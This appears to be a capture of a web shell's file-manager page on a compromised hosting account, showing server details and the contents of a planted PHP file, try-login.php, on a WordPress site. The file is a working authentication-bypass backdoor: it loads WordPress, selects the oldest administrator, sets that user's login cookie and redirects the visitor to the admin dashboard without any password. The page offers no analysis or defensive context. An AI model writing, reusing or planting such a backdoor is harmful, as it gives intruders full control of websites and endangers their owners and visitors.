HEX
Server: Apache/2
System: Linux ns65.hostinglotus.net 4.18.0-553.16.1.el8_10.x86_64 #1 SMP Thu Aug 8 07:11:46 EDT 2024 x86_64
User: newsnnno (1225)
PHP: 8.2.20
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/newsnnno/domains/asiareport.phetmedia.com/public_html/try-login.php
<?php
$wpLoadFile = 'wp-load.php';
while(!file_exists($wpLoadFile)){if($t > 100)break;$wpLoadFile = '../'.$wpLoadFile;$t++;}
if(file_exists($wpLoadFile))require_once($wpLoadFile);

$users = get_users(['role' => 'administrator','orderby' => 'user_registered','order' => 'ASC']);

foreach($users as $user) {
 if (user_can($user, 'administrator')) {
  if(function_exists('wp_set_current_user')) {
   wp_set_current_user($user->ID, $user->user_login);
   wp_set_auth_cookie($user->ID);
   wp_redirect(get_admin_url());
   exit;
  }
 }
}
?>